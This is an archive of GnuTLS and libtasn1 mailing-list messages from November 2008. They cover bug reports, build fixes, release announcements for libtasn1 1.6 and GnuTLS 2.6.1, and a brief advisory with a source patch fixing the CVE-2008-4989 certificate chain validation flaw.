From n.mavrogiannopoulos at gmail.com Sat Nov 1 02:05:28 2008 From: n.mavrogiannopoulos at gmail.com (Nikos Mavrogiannopoulos) Date: Sat, 1 Nov 2008 03:05:28 +0200 Subject: Unparseable PKCS#12 cert In-Reply-To: <87r65wx4oa.fsf@wheatstone.g10code.de> References: <20081028102752.GA28132@manyfish.co.uk> <20081030192044.GA15612@manyfish.co.uk> <87r65wx4oa.fsf@wheatstone.g10code.de> Message-ID: On Fri, Oct 31, 2008 at 3:41 PM, Werner Koch wrote: > On Thu, 30 Oct 2008 21:48, n.mavrogiannopoulos at gmail.com said: >> I'll check these and let you know. PKCS #12 is quite complicated and >> there can be issues like this. Thank you for reporting it. > > I had the same problem wa few years ago with Mozilla exported files. > See gnupg/agent/minip12.c. IIRC, there are some comments related to > Mozilla. Actually is this valid encoding? It looks like an encoding bug to me. regards, Nikos From arfrever.fta at gmail.com Sat Nov 1 03:59:30 2008 From: arfrever.fta at gmail.com (Arfrever Frehtes Taifersar Arahesis) Date: Sat, 1 Nov 2008 03:59:30 +0100 Subject: GnuTLS 2.7.1 fails to build Message-ID: <200811010400.10938.Arfrever.FTA@gmail.com> GnuTLS 2.7.1 fails to build: make[3]: Entering directory `/var/tmp/portage/net-libs/gnutls-2.7.1/work/gnutls-2.7.1/src' i686-pc-linux-gnu-gcc -std=gnu99 -DHAVE_CONFIG_H -I. -I.. -I./../gl -I./../gl -I./../lib/includes -I./../lib/includes -I./../libextra/includes -I./cfg -Wno-pointer-sign -MT serv-gaa.o -MD -MP -MF .deps/serv-gaa.Tpo -c -o serv-gaa.o serv-gaa.c mv -f .deps/serv-gaa.Tpo .deps/serv-gaa.Po i686-pc-linux-gnu-gcc -std=gnu99 -DHAVE_CONFIG_H -I. -I.. -I./../gl -I./../gl -I./../lib/includes -I./../lib/includes -I./../libextra/includes -I./cfg -Wno-pointer-sign -MT serv.o -MD -MP -MF .deps/serv.Tpo -c -o serv.o serv.c mv -f .deps/serv.Tpo .deps/serv.Po i686-pc-linux-gnu-gcc -std=gnu99 -DHAVE_CONFIG_H -I. -I.. -I./../gl -I./../gl -I./../lib/includes -I./../lib/includes -I./../libextra/includes -I./cfg -Wno-pointer-sign -MT common.o -MD -MP -MF .deps/common.Tpo -c -o common.o common.c mv -f .deps/common.Tpo .deps/common.Po /bin/sh ../libtool --tag=CC --mode=link i686-pc-linux-gnu-gcc -std=gnu99 -Wno-pointer-sign -o gnutls-serv serv-gaa.o serv.o common.o ../lib/libgnutls.la ../libextra/libgnutls-extra.la ../gl/libgnu.la libtool: link: i686-pc-linux-gnu-gcc -std=gnu99 -Wno-pointer-sign -o .libs/gnutls-serv serv-gaa.o serv.o common.o ../lib/.libs/libgnutls.so -L/usr/lib ../libextra/.libs/libgnutls-extra.so /usr/lib/liblzo2.so /var/tmp/portage/net-libs/gnutls-2.7.1/work/gnutls-2.7.1/lib/.libs/libgnutls.so /usr/lib/libtasn1.so -lz /usr/lib/libgcrypt.so /usr/lib/libgpg-error.so ../gl/.libs/libgnu.a ../libextra/.libs/libgnutls-extra.so: undefined reference to `_gnutls_lzo1x_decompress_safe' ../libextra/.libs/libgnutls-extra.so: undefined reference to `_gnutls_lzo1x_1_compress' collect2: ld returned 1 exit status make[3]: *** [gnutls-serv] Error 1 make[3]: Leaving directory `/var/tmp/portage/net-libs/gnutls-2.7.1/work/gnutls-2.7.1/src' make[2]: *** [all-recursive] Error 1 make[2]: Leaving directory `/var/tmp/portage/net-libs/gnutls-2.7.1/work/gnutls-2.7.1/src' make[1]: *** [all-recursive] Error 1 make[1]: Leaving directory `/var/tmp/portage/net-libs/gnutls-2.7.1/work/gnutls-2.7.1' make: *** [all] Error 2 -- Arfrever Frehtes Taifersar Arahesis -------------- next part -------------- A non-text attachment was scrubbed... Name: not available Type: application/pgp-signature Size: 197 bytes Desc: This is a digitally signed message part. URL: From nmav at gnutls.org Sun Nov 2 13:17:18 2008 From: nmav at gnutls.org (Nikos Mavrogiannopoulos) Date: Sun, 02 Nov 2008 14:17:18 +0200 Subject: Unparseable PKCS#12 cert In-Reply-To: <20081028102752.GA28132@manyfish.co.uk> References: <20081028102752.GA28132@manyfish.co.uk> Message-ID: <490D9A4E.3090003@gnutls.org> Joe Orton wrote: > Hi folks, I've attached a PKCS#12 file which was apparently produced by > the Bouncy Castle Java crypto toolkit; GnuTLS 2.5.6 + libtasn1 1.3 can't > parse it. I haven't attempted to debug this any further. > > OpenSSL can parse it, though PKCS12_parse() failed to pair up the key > and cert correctly (instead giving the key and embedded CA cert), which > is why I heard about this. Just happened to try this cert with GnuTLS > too. > > $ bin/certtool --p12-info --infile ~/TestUser.p12 --inder > bin/certtool: p12_import: ASN1 parser: Error in TAG. > > The encryption password is "password". The attached patch to libtasn1 should solve this issue[0]. It seems the mozilla pkcs12 structure is BER encoded and our decoder worked with DER data. Still our decoder lacks full BER support but at least with this patch it can decode this structure. regards, Nikos [0]. It also contains some optimizations in the libtasn1 tree generation. -------------- next part -------------- A non-text attachment was scrubbed... Name: libtasn1.patch Type: text/x-patch Size: 64163 bytes Desc: not available URL: From nmav at gnutls.org Mon Nov 3 20:21:10 2008 From: nmav at gnutls.org (Nikos Mavrogiannopoulos) Date: Mon, 03 Nov 2008 21:21:10 +0200 Subject: rfc5081 update Message-ID: <490F4F26.1030104@gnutls.org> I've updated the rfc5081 to conform with the new openpgp-keys implementation of gnutls (the major change is the keyids are made explicit in this version). It is currently on the rfc editor's queue[0], so if there are any comments let me know as soon. regards, Nikos [0]. ftp://ftp.rfc-editor.org/in-notes/internet-drafts/draft-mavrogiannopoulos-rfc5081bis-02.txt From nmav at gnutls.org Mon Nov 3 20:56:39 2008 From: nmav at gnutls.org (Nikos Mavrogiannopoulos) Date: Mon, 03 Nov 2008 21:56:39 +0200 Subject: GnuTLS 2.7.1 fails to build In-Reply-To: <200811010400.10938.Arfrever.FTA@gmail.com> References: <200811010400.10938.Arfrever.FTA@gmail.com> Message-ID: <490F5777.2040504@gnutls.org> Arfrever Frehtes Taifersar Arahesis wrote: It looks like some issue with lzo. Did you enable it in configure? If yes try to disable it. regards, Nikos > GnuTLS 2.7.1 fails to build: > > make[3]: Entering directory `/var/tmp/portage/net-libs/gnutls-2.7.1/work/gnutls-2.7.1/src' > i686-pc-linux-gnu-gcc -std=gnu99 -DHAVE_CONFIG_H -I. -I.. -I./../gl -I./../gl -I./../lib/includes -I./../lib/includes -I./../libextra/includes -I./cfg -Wno-pointer-sign -MT serv-gaa.o -MD -MP -MF .deps/serv-gaa.Tpo -c -o serv-gaa.o serv-gaa.c > mv -f .deps/serv-gaa.Tpo .deps/serv-gaa.Po > i686-pc-linux-gnu-gcc -std=gnu99 -DHAVE_CONFIG_H -I. -I.. -I./../gl -I./../gl -I./../lib/includes -I./../lib/includes -I./../libextra/includes -I./cfg -Wno-pointer-sign -MT serv.o -MD -MP -MF .deps/serv.Tpo -c -o serv.o serv.c > mv -f .deps/serv.Tpo .deps/serv.Po > i686-pc-linux-gnu-gcc -std=gnu99 -DHAVE_CONFIG_H -I. -I.. -I./../gl -I./../gl -I./../lib/includes -I./../lib/includes -I./../libextra/includes -I./cfg -Wno-pointer-sign -MT common.o -MD -MP -MF .deps/common.Tpo -c -o common.o common.c > mv -f .deps/common.Tpo .deps/common.Po > /bin/sh ../libtool --tag=CC --mode=link i686-pc-linux-gnu-gcc -std=gnu99 -Wno-pointer-sign -o gnutls-serv serv-gaa.o serv.o common.o ../lib/libgnutls.la ../libextra/libgnutls-extra.la ../gl/libgnu.la > libtool: link: i686-pc-linux-gnu-gcc -std=gnu99 -Wno-pointer-sign -o .libs/gnutls-serv serv-gaa.o serv.o common.o ../lib/.libs/libgnutls.so -L/usr/lib ../libextra/.libs/libgnutls-extra.so /usr/lib/liblzo2.so /var/tmp/portage/net-libs/gnutls-2.7.1/work/gnutls-2.7.1/lib/.libs/libgnutls.so /usr/lib/libtasn1.so -lz /usr/lib/libgcrypt.so /usr/lib/libgpg-error.so ../gl/.libs/libgnu.a > ../libextra/.libs/libgnutls-extra.so: undefined reference to `_gnutls_lzo1x_decompress_safe' > ../libextra/.libs/libgnutls-extra.so: undefined reference to `_gnutls_lzo1x_1_compress' > collect2: ld returned 1 exit status > make[3]: *** [gnutls-serv] Error 1 > make[3]: Leaving directory `/var/tmp/portage/net-libs/gnutls-2.7.1/work/gnutls-2.7.1/src' > make[2]: *** [all-recursive] Error 1 > make[2]: Leaving directory `/var/tmp/portage/net-libs/gnutls-2.7.1/work/gnutls-2.7.1/src' > make[1]: *** [all-recursive] Error 1 > make[1]: Leaving directory `/var/tmp/portage/net-libs/gnutls-2.7.1/work/gnutls-2.7.1' > make: *** [all] Error 2 > > > > ------------------------------------------------------------------------ > > _______________________________________________ > Gnutls-devel mailing list > Gnutls-devel at gnu.org > http://lists.gnu.org/mailman/listinfo/gnutls-devel From nmav at gnutls.org Tue Nov 4 07:25:50 2008 From: nmav at gnutls.org (Nikos Mavrogiannopoulos) Date: Tue, 04 Nov 2008 08:25:50 +0200 Subject: [Help-gnutls] Key usage violation in certificate In-Reply-To: <490F9E45.5080300@digium.com> References: <490A37DA.6090400@digium.com> <490D9E7B.7070507@gnutls.org> <490EFF54.80106@digium.com> <490F3BBD.5060603@digium.com> <490F58F5.7090706@gnutls.org> <490F9E45.5080300@digium.com> Message-ID: <490FEAEE.9070106@gnutls.org> Kevin P. Fleming wrote: > Nikos Mavrogiannopoulos wrote: > >> It seems gnutls fails because the (client) certificate it uses for >> authentication it doesn't support signing (and TLS client certificates >> must support it). >> >> Check (with certtool -i) if the client certificate contains the >> following lines: >> >> Key Usage (critical): >> Digital signature. > > Yes, I used openssl's pkcs12 command to extract the cert from the .p12 > file that it lives in, then used 'certtool -i --infile cert.pem', and > this is the output: Could it be then that libneon selected a wrong certificate from the pkcs12 file? Does it use gnutls_certificate_set_x509_simple_pkcs12_file()? I quick glimpsed gnutls_certificate_set_x509_simple_pkcs12_file() and looks very simple thus might add the first certificate no matter if it corresponds to the key. In that case it is a gnutls bug and will be fixed. (workaround: use a single certificate in the pkcs12 file). regards, Nikos From joe at manyfish.co.uk Tue Nov 4 10:25:09 2008 From: joe at manyfish.co.uk (Joe Orton) Date: Tue, 4 Nov 2008 09:25:09 +0000 Subject: [Help-gnutls] Key usage violation in certificate In-Reply-To: <490FEAEE.9070106@gnutls.org> References: <490A37DA.6090400@digium.com> <490D9E7B.7070507@gnutls.org> <490EFF54.80106@digium.com> <490F3BBD.5060603@digium.com> <490F58F5.7090706@gnutls.org> <490F9E45.5080300@digium.com> <490FEAEE.9070106@gnutls.org> Message-ID: <20081104092509.GA30869@manyfish.co.uk> On Tue, Nov 04, 2008 at 08:25:50AM +0200, Nikos Mavrogiannopoulos wrote: > Kevin P. Fleming wrote: > > Nikos Mavrogiannopoulos wrote: > > > >> It seems gnutls fails because the (client) certificate it uses for > >> authentication it doesn't support signing (and TLS client certificates > >> must support it). ... > Could it be then that libneon selected a wrong certificate from the > pkcs12 file? I'm missing some context here, but current neon releases can indeed do that, this is a known neon bug, see: http://lists.manyfish.co.uk/pipermail/neon/2008-October/000086.html > Does it use gnutls_certificate_set_x509_simple_pkcs12_file()? Just for the record - neon doesn't use that function, no. Regards, Joe From simon at josefsson.org Wed Nov 5 14:49:24 2008 From: simon at josefsson.org (Simon Josefsson) Date: Wed, 05 Nov 2008 14:49:24 +0100 Subject: Preparing libtasn1 2.0 Message-ID: <87skq6cmfv.fsf@mocca.josefsson.org> All, I plan to release libtasn1 v2.0 in a few days. Please test this daily build for problems: http://daily.josefsson.org/libtasn1/libtasn1-20081105.tar.gz btw, I've created a Redmine instance to track bugs, plan releases, wiki pages, and more, see: http://redmine.josefsson.org/wiki/libtasn1 /Simon From kpfleming at digium.com Tue Nov 4 18:26:13 2008 From: kpfleming at digium.com (Kevin P. Fleming) Date: Tue, 04 Nov 2008 11:26:13 -0600 Subject: [Help-gnutls] Key usage violation in certificate In-Reply-To: <20081104092509.GA30869@manyfish.co.uk> References: <490A37DA.6090400@digium.com> <490D9E7B.7070507@gnutls.org> <490EFF54.80106@digium.com> <490F3BBD.5060603@digium.com> <490F58F5.7090706@gnutls.org> <490F9E45.5080300@digium.com> <490FEAEE.9070106@gnutls.org> <20081104092509.GA30869@manyfish.co.uk> Message-ID: <491085B5.1070002@digium.com> Joe Orton wrote: >> Could it be then that libneon selected a wrong certificate from the >> pkcs12 file? > > I'm missing some context here, but current neon releases can indeed do > that, this is a known neon bug, see: > > http://lists.manyfish.co.uk/pipermail/neon/2008-October/000086.html > >> Does it use gnutls_certificate_set_x509_simple_pkcs12_file()? > > Just for the record - neon doesn't use that function, no. OK, on the basis of this note (and yes, our client cert pkcs12 files usually contain the CA cert as well), I regenerated the pkcs12 file for my cert without the CA cert in it, and the problem has been worked around. We don't really need the CA cert to be in the pkcs12 files, so this will work for us. Thanks to everyone who helped solve this problem :-) -- Kevin P. Fleming Director of Software Technologies Digium, Inc. - "The Genuine Asterisk Experience" (TM) From nmav at gnutls.org Wed Nov 5 20:10:49 2008 From: nmav at gnutls.org (Nikos Mavrogiannopoulos) Date: Wed, 05 Nov 2008 21:10:49 +0200 Subject: [Help-gnutls] Preparing libtasn1 2.0 In-Reply-To: <87skq6cmfv.fsf@mocca.josefsson.org> References: <87skq6cmfv.fsf@mocca.josefsson.org> Message-ID: <4911EFB9.7030600@gnutls.org> Simon Josefsson wrote: > All, > > I plan to release libtasn1 v2.0 in a few days. Please test this daily > build for problems: > btw, I've created a Redmine instance to track bugs, plan releases, wiki > pages, and more, see: Hello Simon, the cyclomatic complexity report is very nice indeed (and results were expected :). But which program did you use to product this output? regards, Nikos From simon at josefsson.org Thu Nov 6 08:24:16 2008 From: simon at josefsson.org (Simon Josefsson) Date: Thu, 06 Nov 2008 08:24:16 +0100 Subject: Preparing libtasn1 2.0 In-Reply-To: <4911EFB9.7030600@gnutls.org> (Nikos Mavrogiannopoulos's message of "Wed, 05 Nov 2008 21:10:49 +0200") References: <87skq6cmfv.fsf@mocca.josefsson.org> <4911EFB9.7030600@gnutls.org> Message-ID: <87abcd5nbz.fsf@mocca.josefsson.org> Nikos Mavrogiannopoulos writes: > Simon Josefsson wrote: >> All, >> >> I plan to release libtasn1 v2.0 in a few days. Please test this daily >> build for problems: >> btw, I've created a Redmine instance to track bugs, plan releases, wiki >> pages, and more, see: > > Hello Simon, > the cyclomatic complexity report is very nice indeed (and results were > expected :). But which program did you use to product this output? Yes, the tables are nice. :) The tool to compute the complexity is pmccabe: http://www.parisc-linux.org/~bame/pmccabe/overview.html The data is converted to HTML using pmccabe2html, written by the gnupdf project and now maintained in gnulib. See gnutls/doc/cyclo/Makefile.am on how to use it. /Simon From simon at josefsson.org Fri Nov 7 10:43:49 2008 From: simon at josefsson.org (Simon Josefsson) Date: Fri, 07 Nov 2008 10:43:49 +0100 Subject: GnuTLS 2.7.1 fails to build In-Reply-To: <200811010400.10938.Arfrever.FTA@gmail.com> (Arfrever Frehtes Taifersar Arahesis's message of "Sat, 1 Nov 2008 03:59:30 +0100") References: <200811010400.10938.Arfrever.FTA@gmail.com> Message-ID: <87mygbx44q.fsf@mocca.josefsson.org> Arfrever Frehtes Taifersar Arahesis writes: > GnuTLS 2.7.1 fails to build: Thanks, LZO compression wasn't configured properly. Fixed in: http://git.savannah.gnu.org/gitweb/?p=gnutls.git;a=commitdiff;h=0700d43f78c1cf32c3772fd3157cb5aabcfb0446 Btw, consider disabling LZO, I suspect you don't need it and it may be removed in the future. /Simon From davefx at gmail.com Sun Nov 9 00:12:35 2008 From: davefx at gmail.com (=?UTF-8?Q?David_Mar=C3=ADn_Carre=C3=B1o?=) Date: Sun, 9 Nov 2008 00:12:35 +0100 Subject: New function gnutls_x509_crq_get_key_id Message-ID: Hi all. Here I attach a patch adding a new function for getting the key_id from a certificate signing request, so you can test if a given private key corresponds to a given CSR. It's based closely to the gnutls_x509_crt_get_key_id function. Please, revise it and, if seems ok, add to the repository. Thanks a lot. -- David Mar?n Carre?o -------------- next part -------------- An HTML attachment was scrubbed... URL: -------------- next part -------------- A non-text attachment was scrubbed... Name: gnutls-2.7.1.patch Type: text/x-diff Size: 4958 bytes Desc: not available URL: From ametzler at downhill.at.eu.org Sun Nov 9 10:33:13 2008 From: ametzler at downhill.at.eu.org (Andreas Metzler) Date: Sun, 9 Nov 2008 10:33:13 +0100 Subject: Preparing libtasn1 2.0 In-Reply-To: <87skq6cmfv.fsf@mocca.josefsson.org> References: <87skq6cmfv.fsf@mocca.josefsson.org> Message-ID: <20081109093313.GB3345@downhill.g.la> On 2008-11-05 Simon Josefsson wrote: > I plan to release libtasn1 v2.0 in a few days. Please test this daily > build for problems: > http://daily.josefsson.org/libtasn1/libtasn1-20081105.tar.gz [...] shouldn't there be a soname bump due to the removal of node_asn_struct from the public ABI? cu andreas -- `What a good friend you are to him, Dr. Maturin. His other friends are so grateful to you.' `I sew his ears on from time to time, sure' -------------- next part -------------- A non-text attachment was scrubbed... Name: sonamebump.diff Type: text/x-diff Size: 570 bytes Desc: not available URL: From simon at josefsson.org Mon Nov 10 08:51:56 2008 From: simon at josefsson.org (Simon Josefsson) Date: Mon, 10 Nov 2008 08:51:56 +0100 Subject: Preparing libtasn1 2.0 In-Reply-To: <20081109093313.GB3345@downhill.g.la> (Andreas Metzler's message of "Sun, 9 Nov 2008 10:33:13 +0100") References: <87skq6cmfv.fsf@mocca.josefsson.org> <20081109093313.GB3345@downhill.g.la> Message-ID: <87vduw81cz.fsf@mocca.josefsson.org> Andreas Metzler writes: > On 2008-11-05 Simon Josefsson wrote: >> I plan to release libtasn1 v2.0 in a few days. Please test this daily >> build for problems: > >> http://daily.josefsson.org/libtasn1/libtasn1-20081105.tar.gz > [...] > > shouldn't there be a soname bump due to the removal of node_asn_struct > from the public ABI? Thanks, I'll make that fix when I release v2.0 properly. See my next e-mail about how I plan to proceed. /Simon From simon at josefsson.org Mon Nov 10 09:08:02 2008 From: simon at josefsson.org (Simon Josefsson) Date: Mon, 10 Nov 2008 09:08:02 +0100 Subject: Libtasn1 1.6 Message-ID: <87hc6g80m5.fsf@mocca.josefsson.org> Libtasn1 is a standalone library written in C for manipulating ASN.1 objects including DER/BER encoding and DER/BER decoding. Libtasn1 is used by GnuTLS to manipulate X.509 objects and by Shishi to handle Kerberos V5 packets. Version 1.6 (released 2008-11-10) - Fixed namespace violation for MAX_NAME_SIZE and MAX_ERROR_DESCRIPTION_SIZE. The new names are ASN1_MAX_NAME_SIZE and ASN1_MAX_ERROR_DESCRIPTION_SIZE. - Fixed namespace violation for libtasn1_perror and libtasn1_strerror. The new names are asn1_perror and asn1_strerror. - Fix namespace violation for LIBASN1_VERSION. The new name is ASN1_VERSION. - Decoder can now decode BER encoded octet strings. - doc: Change license on the manual to GFDLv1.3+. - doc: Sync gdoc script with GnuTLS, changes license on man-pages to GAP. - doc: Improve gtk-doc manual. - Assumes system has strdup and string.h. - Remove libtasn1-config and libtasn1.m4, use standard AC_CHECK_FUNCS autoconf tests or pkg-config instead. - Change detection of when to use a linker version script, use --enable-ld-version-script or --disable-ld-version-script to override auto-detection logic. - API and ABI changes since last version: asn1_get_length_ber: New function. ASN1_VERSION: New symbol, replaces LIBTASN1_VERSION. asn1_strerror: New function, replaces libtasn1_strerror. asn1_perror: New function, replaces libtasn1_perror. libtasn1_strerror: Marked as deprecated. libtasn1_perror: Marked as deprecated. LIBTASN1_VERSION: Deprecated. Commercial support contracts for Libtasn1 are available, and they help finance continued maintenance. Simon Josefsson Datakonsult, a Stockholm based privately held company, is currently funding Libtasn1 maintenance. We are always looking for interesting development projects. See http://josefsson.org/ for more details. If you need help to use Libtasn1, or want to help others, you are invited to join our help-gnutls mailing list, see: . Homepage: http://josefsson.org/libtasn1/ Here are the compressed sources (1.6MB): ftp://ftp.gnu.org/gnu/gnutls/libtasn1-1.6.tar.gz http://ftp.gnu.org/gnu/gnutls/libtasn1-1.6.tar.gz Here are GPG detached signatures using key 0xB565716F: ftp://ftp.gnu.org/gnu/gnutls/libtasn1-1.6.tar.gz.sig http://ftp.gnu.org/gnu/gnutls/libtasn1-1.6.tar.gz.sig The software is cryptographically signed by the author using an OpenPGP key identified by the following information: pub 1280R/B565716F 2002-05-05 [expires: 2009-04-21] Key fingerprint = 0424 D4EE 81A0 E3D1 19C6 F835 EDA2 1E94 B565 716F uid Simon Josefsson uid Simon Josefsson sub 1280R/4D5D40AE 2002-05-05 [expires: 2009-04-21] The key is available from: http://josefsson.org/key.txt dns:b565716f.josefsson.org?TYPE=CERT Here are the SHA-1 and SHA-224 checksums: fd670bcb88612190729948c7939e612132e3bb71 libtasn1-1.6.tar.gz 0e623d6a497ebe0ef33c2188d8b8bfc02ec0035f4c7bb0501e0819a3 libtasn1-1.6.tar.gz Happy hacking, Simon -------------- next part -------------- A non-text attachment was scrubbed... Name: not available Type: application/pgp-signature Size: 419 bytes Desc: not available URL: From simon at josefsson.org Mon Nov 10 09:34:30 2008 From: simon at josefsson.org (Simon Josefsson) Date: Mon, 10 Nov 2008 09:34:30 +0100 Subject: Preparing libtasn1 2.0 In-Reply-To: <87vduw81cz.fsf@mocca.josefsson.org> (Simon Josefsson's message of "Mon, 10 Nov 2008 08:51:56 +0100") References: <87skq6cmfv.fsf@mocca.josefsson.org> <20081109093313.GB3345@downhill.g.la> <87vduw81cz.fsf@mocca.josefsson.org> Message-ID: <87bpwo7ze1.fsf@mocca.josefsson.org> Simon Josefsson writes: > Andreas Metzler writes: > >> On 2008-11-05 Simon Josefsson wrote: >>> I plan to release libtasn1 v2.0 in a few days. Please test this daily >>> build for problems: >> >>> http://daily.josefsson.org/libtasn1/libtasn1-20081105.tar.gz >> [...] >> >> shouldn't there be a soname bump due to the removal of node_asn_struct >> from the public ABI? > > Thanks, I'll make that fix when I release v2.0 properly. See my next > e-mail about how I plan to proceed. With v1.6 released, I've prepared a new v2.0 release candidate: http://daily.josefsson.org/libtasn1/libtasn1-20081110.tar.gz /Simon From simon at josefsson.org Mon Nov 10 11:48:33 2008 From: simon at josefsson.org (Simon Josefsson) Date: Mon, 10 Nov 2008 11:48:33 +0100 Subject: GnuTLS 2.6.1 - Security release [GNUTLS-SA-2008-3] Message-ID: <873ahz7t6m.fsf@mocca.josefsson.org> We are proud to announce a new stable GnuTLS release: Version 2.6.1. GnuTLS is a modern C library that implement the standard network security protocol Transport Layer Security (TLS), for use by network applications. GnuTLS is developed for GNU/Linux, but works on many Unix-like systems and comes with a binary installer for Windows. The GnuTLS library is distributed under the terms of the GNU Lesser General Public License version 2.1 (or later). The "extra" GnuTLS library (which contains TLS/IA support, LZO compression and Libgcrypt FIPS-mode handler), the OpenSSL compatibility library, the self tests and the command line tools are all distributed under the GNU General Public License version 3.0 (or later). The manual is distributed under the GNU Free Documentation License version 1.2 (or later). The project page of the library is available at: http://www.gnutls.org/ http://www.gnu.org/software/gnutls/ What's New ========== Version 2.6.1 is a maintainance and security release on our stable branch. ** libgnutls: Fix X.509 certificate chain validation error. [GNUTLS-SA-2008-3] The flaw makes it possible for man in the middle attackers (i.e., active attackers) to assume any name and trick GNU TLS clients into trusting that name. Thanks for report and analysis from Martin von Gagern . [CVE-2008-4989] Any updates with more details about this vulnerability will be added to ** libgnutls: Add missing prototype for gnutls_srp_set_prime_bits. Reported by Kevin Quick in . ** libgnutls-extra: Protect internal symbols with static. Fixes problem when linking certtool statically. Tiny patch from Aaron Ucko . ** libgnutls-openssl: Fix patch against X509_get_issuer_name. It incorrectly returned the subject DN instead of issuer DN in v2.6.0. Thanks to Thomas Viehmann for report. ** certtool: Print a PKCS #8 key even if it is not encrypted. ** tests: Make tests compile when using internal libtasn1. Patch by ludo at gnu.org (Ludovic Court?s). ** API and ABI modifications: No changes since last version. Getting the Software ==================== GnuTLS may be downloaded from one of the mirror sites or direct from . The list of mirrors can be found at . Here are the BZIP2 compressed sources (4.9MB): ftp://ftp.gnu.org/gnu/gnutls/gnutls-2.6.1.tar.bz2 http://ftp.gnu.org/gnu/gnutls/gnutls-2.6.1.tar.bz2 Here are OpenPGP detached signatures signed using key 0xB565716F: ftp://ftp.gnu.org/gnu/gnutls/gnutls-2.6.1.tar.bz2.sig http://ftp.gnu.org/gnu/gnutls/gnutls-2.6.1.tar.bz2.sig Note, that we don't distribute gzip compressed tarballs. In order to check that the version of GnuTLS which you are going to install is an original and unmodified one, you should verify the OpenPGP signature. You can use the command gpg --verify gnutls-2.6.1.tar.bz2.sig This checks whether the signature file matches the source file. You should see a message indicating that the signature is good and made by that signing key. Make sure that you have the right key, either by checking the fingerprint of that key with other sources or by checking that the key has been signed by a trustworthy other key. The signing key can be identified with the following information: pub 1280R/B565716F 2002-05-05 [expires: 2009-04-21] Key fingerprint = 0424 D4EE 81A0 E3D1 19C6 F835 EDA2 1E94 B565 716F uid Simon Josefsson uid Simon Josefsson sub 1280R/4D5D40AE 2002-05-05 [expires: 2009-04-21] The key is available from: http://josefsson.org/key.txt dns:b565716f.josefsson.org?TYPE=CERT Alternatively, after successfully verifying the OpenPGP signature of this announcement, you could verify that the files match the following checksum values. The values are for SHA-1 and SHA-224 respectively: a445e84176bf772794db9d8c71d5515dedb14bcc gnutls-2.6.1.tar.bz2 f3882745a290cc2a091dc50d9fb8bc7b4b999c29ecebe9730fe3bafd gnutls-2.6.1.tar.bz2 Documentation ============= The manual is available online at: http://www.gnu.org/software/gnutls/documentation.html In particular the following formats are available: HTML: http://www.gnu.org/software/gnutls/manual/html_node/index.html PDF: http://www.gnu.org/software/gnutls/manual/gnutls.pdf For developers there is a GnuTLS API reference manual formatted using the GTK-DOC tools: http://www.gnu.org/software/gnutls/reference/gnutls-gnutls.html Community ========= If you need help to use GnuTLS, or want to help others, you are invited to join our help-gnutls mailing list, see: http://lists.gnu.org/mailman/listinfo/help-gnutls If you wish to participate in the development of GnuTLS, you are invited to join our gnutls-dev mailing list, see: http://lists.gnu.org/mailman/listinfo/gnutls-devel Windows installer ================= GnuTLS has been ported to the Windows operating system, and a binary installer is available. The installer contains DLLs for application development, manuals, examples, and source code. The installer uses libgpg-error v1.6, libgcrypt v1.4.3, libtasn1 v1.5, and GnuTLS v2.6.1. For more information about GnuTLS for Windows: http://josefsson.org/gnutls4win/ The Windows binary installer and PGP signature: http://josefsson.org/gnutls4win/gnutls-2.6.1.exe (14MB) http://josefsson.org/gnutls4win/gnutls-2.6.1.exe.sig The checksum values for SHA-1 and SHA-224 are: 7efc24d79a258927d803b7fb25f798d82f9d1ac0 gnutls-2.6.1.exe 20054cf34bf6bf5dafda13b6956c2de02c1f91ed63858c5bf8e0268c gnutls-2.6.1.exe Thanks to Enrico Tassi, we also have mingw32 *.deb's available: http://josefsson.org/gnutls4win/mingw32-gnutls_2.6.1-1_all.deb The checksum values for SHA-1 and SHA-224 are: e4f70a2348dce9c1dec9de6f05e2e40872f2551c mingw32-gnutls_2.6.1-1_all.deb 8483af5489daa10086ef8f2db288e632184744c9bc0fc278a2dd7db2 mingw32-gnutls_2.6.1-1_all.deb Internationalization ==================== GnuTLS messages have been translated into Dutch, French, German, Malay, Polish, Swedish, and Vietnamese. We welcome the addition of more translations. Support ======= Improving GnuTLS is costly, but you can help! We are looking for organizations that find GnuTLS useful and wish to contribute back. You can contribute by reporting bugs, improve the software, or donate money or equipment. Commercial support contracts for GnuTLS are available, and they help finance continued maintenance. Simon Josefsson Datakonsult, a Stockholm based privately held company, is currently funding GnuTLS maintenance. We are always looking for interesting development projects. See http://josefsson.org/ for more details. The GnuTLS service directory is available at: http://www.gnu.org/software/gnutls/commercial.html Security Patch ============== The following patch can be used if you use releases older than v2.6.0, or if you don't want to upgrade from v2.6.0 to v2.6.1. It fixes the GNUTLS-SA-2008-3 aka CVE-2008-4989 vulnerability. The patch was created against v2.6.0. --- lib/x509/verify.c.orig 2008-11-10 10:58:33.000000000 +0100 +++ lib/x509/verify.c 2008-11-10 10:58:41.000000000 +0100 @@ -374,6 +374,17 @@ int i = 0, ret; unsigned int status = 0, output; + /* Check if the last certificate in the path is self signed. + * In that case ignore it (a certificate is trusted only if it + * leads to a trusted party by us, not the server's). + */ + if (gnutls_x509_crt_check_issuer (certificate_list[clist_size - 1], + certificate_list[clist_size - 1]) > 0 + && clist_size > 0) + { + clist_size--; + } + /* Verify the last certificate in the certificate path * against the trusted CA certificate list. * @@ -412,17 +423,6 @@ } #endif - /* Check if the last certificate in the path is self signed. - * In that case ignore it (a certificate is trusted only if it - * leads to a trusted party by us, not the server's). - */ - if (gnutls_x509_crt_check_issuer (certificate_list[clist_size - 1], - certificate_list[clist_size - 1]) > 0 - && clist_size > 0) - { - clist_size--; - } - /* Verify the certificate path (chain) */ for (i = clist_size - 1; i > 0; i--) Happy Hacking, Simon -------------- next part -------------- A non-text attachment was scrubbed... Name: not available Type: application/pgp-signature Size: 419 bytes Desc: not available URL: From tmraz at redhat.com Mon Nov 10 14:47:16 2008 From: tmraz at redhat.com (Tomas Mraz) Date: Mon, 10 Nov 2008 14:47:16 +0100 Subject: The _gnutls_x509_verify_certificate fix Message-ID: <1226324836.3447.296.camel@vespa.frost.loc> Hello, given the recent fix in the _gnutls_x509_verify_certificate I have been looking at the function. I see there are currently some limitations in it. For example it now doesn't allow verification of explicitely trusted self-signed site certificate. Is there some other method how this could be achieved? If not, then perhaps the test for the self-signed should be performed only when clist_size > 1. Also the test for the clist_size should be first test of the if(). The other limitation is that only the last certificate (after removing eventual self-signed cert at the end of the chain) is checked against the trusted list. That means you can not put just an intermediate CA cert into the trusted list to be able to verify the chain. What do you think of these limitations, should they be removed? -- Tomas Mraz No matter how far down the wrong road you've gone, turn back. Turkish proverb From Martin.vGagern at gmx.net Mon Nov 10 12:00:10 2008 From: 